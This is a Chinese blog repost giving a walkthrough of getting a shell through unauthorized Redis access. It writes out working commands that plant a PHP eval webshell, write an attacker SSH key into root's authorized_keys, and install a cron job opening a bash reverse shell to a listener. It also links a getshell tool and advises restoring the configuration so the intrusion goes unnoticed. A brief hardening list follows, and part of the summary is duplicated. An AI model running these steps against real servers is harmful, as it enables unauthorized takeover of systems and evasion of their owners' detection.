记录一次Redis未授权getshell几种常见方法

这篇具有很好参考价值的文章主要介绍了记录一次Redis未授权getshell几种常见方法。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

记录一次Redis未授权getshell几种常见方法

一.redis未授权访问简介

Redis默认情况下,端口是6379,默认配置无密码

./redis-server 使用默认配置
./redis-server ../redis.conf 使用自定义配置

造成未授权访问原因:

1.未开启登录验证,并且把IP绑定到0.0.0.0
2.未开启登录验证,没有设置绑定IP,protected-mode关闭

二.Redis未授权写入webshell

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限

利用过程

1.设置数据库备份目录为linux计划任务目录

config set dir /var/www/html

2.写入webshell并同步保存

set c "\n\n\n<?php @eval($_POST['rose']);?>\n\n\n" 

config set dbfilename webshell.php 

save 同步保存操作

3.Redis-Getshell工具利用方式

工具地址:https://github.com/pan3a/Redis-Getshell

使用命令:python RedisGetshell.py -H 127.0.0.1 -P 6379

记录一次Redis未授权getshell几种常见方法

选择1,输入目录配置,后续用默认配置
记录一次Redis未授权getshell几种常见方法记录一次Redis未授权getshell几种常见方法

看到webshell出现了,访问解析执行,拿工具连接就行了。

二.Redis未授权写入SSH-keygen

利用条件

  1. root账号启动redis服务
  2. 服务器开放SSH服务,允许密钥登录。

利用过程

1.kali上生成公私钥

ssh-keygen -t rsa

2.未授权访问redis

 redis-cli -h 192.168.60.130 

3.利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys

config set dir /root/.ssh 

config set dbfilename authorized_keys 

save  

4.写入key-value

set a "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiqG0Pp2TFXOKg/AdFZv2mdDKizbL85GrbGUg6ZoEpjWnoB9JGRSkSCfz/LoB0kokZ+iPMXPSETxn+Hs5Y13V9jQ0n+O5mDrO+eUSKhkKTTZBjjweIuoCjLvHcwuIHC1T3+S+U895Ur8Ea6tETRNPlKylgO9McsQjNg88q4RFo+vSXaU1IMs8kcyJ26wVeB8tAU/9nEKsjQkip52ENqSIqR3qdEQWV0Eoc9XrXT4o78TKQfkCSUTFUFgOO+9NYUfnWkR5KtbHusyRfNOKlkauFsgoIzHBQBl2K0pU4LkeA5D6YTHZwYwqId0AewSwCNzxq6GAbEVzmIJ3KzhOkjZXs3/JNmweX3DVdyPaXf57IogVyxkWtSGbA2QtUbWL96o8QT1TIvODA2H6s6ktq88/jTfOSInlhURzkxNYXLjvwRi/918ze0f7ISICGlbtkWR0audGfZwjLeYfjI5INc9mPBUjybSQDuCFI2oVOFFBbWWwdB4ipB8pyYf9JrsOMRO0= root@kali\n"

5.ssh连接

ssh -i id_rsa root@192.168.60.130

6.Redis-Getshell工具利用方式

记录一次Redis未授权getshell几种常见方法

正常要用Linux生成公钥的,放到Linux里面做的,这里只在Windows做个演示了,师傅们勿喷。

三.Redis未授权写计划任务反弹shell

因为/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

利用条件

  1. redis是root用户启动

利用过程

1.设置数据库备份目录为linux计划任务目录

 config set dir /var/spool/cron/ 

2.设置备份文件名为root,以root身份执行计划任务

 config set dbfilename root 

3.将反弹shell写入b键值并同步保存

set a "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.60.134/4444 0>&1\n\n" 
save 

等待一会儿就可以看到反弹的shell

4.Redis-Getshell工具利用方式

记录一次Redis未授权getshell几种常见方法

开启监听

nc -lvp 127.0.0.1:4444

输入地址,端口号,写入的目录(写入到Linux计划任务目录才行,这里随便找个目录做演示)可以看到出现root文件,成功生成计划任务,等会可以看到反弹shell了。

工具地址:https://github.com/pan3a/Redis-Getshell

防护

  1. 禁止一些高危命令
  2. 以低权限运行 Redis 服务
  3. 为 Redis 添加密码验证
  4. 禁止外网访问 Redis
  5. 修改默认端口
  6. 保证 authorized_keys 文件的安全
  7. 设置防火墙策略

总结

Windows下如何getshell?

​ 写入webshell,需要知道web路径
​ 写入启动项,需要目标服务器重启
​ 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
实战在生产环境下用还是会有很多问题的

​ redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
​ Ubuntu,Debian写计划任务反弹无用
​ 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
​ 生产环境下用KEY * 这样的命令直接炸

参考

https://blog.csdn.net/weixin_46439278/article/details/118313113

为文件太大是会拒绝执行的
​ Ubuntu,Debian写计划任务反弹无用
​ 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
​ 生产环境下用KEY * 这样的命令直接炸

参考

https://blog.csdn.net/weixin_46439278/article/details/118313113

https://www.bilibili.com/video/BV1Kt4y1e7qU?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=45daf1443a03fb3be2ec33daca40b56b文章来源地址https://www.toymoban.com/news/detail-419504.html

到了这里,关于记录一次Redis未授权getshell几种常见方法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 记一次任意文件下载到Getshell

    任意文件下载(Arbitrary File Download)是一种常见的 Web 攻击技术,用于窃取服务器上任意文件的内容。攻击者利用应用程序中的漏洞,通过构造恶意请求,使应用程序将任意文件(如配置文件、敏感数据等)发送给攻击者。一旦攻击者成功利用这种漏洞,就可以从服务器上获取

    2024年02月08日
    浏览(45)
  • 一次暴露面全开的红帽渗透测试【getshell】

    注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/ 一开始进行收集的时候,有点迷,直接进行了大面积的\\\"gov.in\\\"域名收集 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看

    2024年02月13日
    浏览(34)
  • Redis 常见的几种数据结构说一下?各自的使用场景?

    介绍:string 数据结构是简单的 key-value 类型。 使用场景: 一般常用在需要计数的场景,比如用户的访问次数、热点文章的点赞转发数量等等。 介绍:list 即是 链表 使用场景:发布与订阅或者说消息队列、慢查询。 介绍:hash 类似于 JDK1.8 前的 HashMap,内部实现也差不多(数组

    2024年01月24日
    浏览(47)
  • SQL中去除重复数据的几种方法,我一次性都告诉你​

    使用SQL对数据进行提取和分析时,我们经常会遇到数据重复的场景,需要我们对数据进行去重后分析。 以某电商公司的销售报表为例,常见的去重方法我们用到distinct 或者group by 语句, 今天介绍一种新的方法,利用窗口函数对数据去重。 【字段解释】 访客id:进入店铺浏览

    2024年02月06日
    浏览(52)
  • 常见的异步编程的几种方法

    回调函数 Promise Rxjs 1、回调函数   2、Promise   3、Rxjs 注意:不管是通过 Promise 的 resolve返回,还是通过 getRxjsData 的 observer 返回,返回的时间用户都不能马上得到,必须分别使用 then 和 subscribe 来订阅   4、Rxjs取消订阅   5、rxjs订阅后多次执行  

    2024年01月20日
    浏览(50)
  • 寻找网站后台的几种常见的方法

    (注:本教程仅供学习交流使用,不可用于一切未授权的网络攻击和违法行为!) 当我们进入一个网站时,如何对其后台进行查找、从而进一步渗透?今天给大家介绍几种常见的方法: 查看网站图片中的属性 我们可以随机点击一些图片的属性,看看它的路径能否加以利用

    2024年01月16日
    浏览(38)
  • python操作PDF的几种常见方法

    大家好,有关python操作pdf的方法,各种语言处理起来都比较麻烦,而且各种第三方库的应用场景都不同。下面说明一下python如何通过第三方库如何处理pdf文件。 1.1、pdfplumber提取文本内容 安装pdfplumber pdfplumber提取PDF中文字代码思路如下 利用pdfplumber打开一个 PDF 文件 获取指定

    2024年02月03日
    浏览(44)
  • 配置本地路由的几种常见方法介绍

    本文主要和大家分享 如何配置本地路由的几种常见方法 ,希望给大家提供多一些网络基础知识! 为了有效提高工作效率,不少规模较大的单位把局域网按照一定的规律分成了许多不同用途的子网,要想让不同子网之间相互能够通信,就必须通过路由功能来实现;因此配置好

    2024年02月05日
    浏览(45)
  • 限制 SLS告警通知时段的几种常见方法

    在对系统进行监控告警的过程中,有时候并非在任何时候都要接收告警通知,例如以下场景: 计划内变更触发的已知告警可以无需通知 非工作时间不接收不严重的告警 夜里不接收电话告警 等等 本文会介绍几种常见的限制告警通知时段的方法,以及它们各自所适用的场景。

    2024年02月02日
    浏览(43)
  • 求最大公约数的几种常见的方法 【详解】

    目录 一、关于公约数 二、计算最大公约数的方法  1. 辗转相除法(欧几里得算法) 2. 更相减损法(辗转相减法) 3. 分解质因数法 4. 穷举法  5. 递归法 6. 短除法 三、总结 首先 ,先介绍一下公约数: 公约数(公因数),一个能被若干个整数同时整除的的整数,公约数中最大

    2024年02月08日
    浏览(60)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包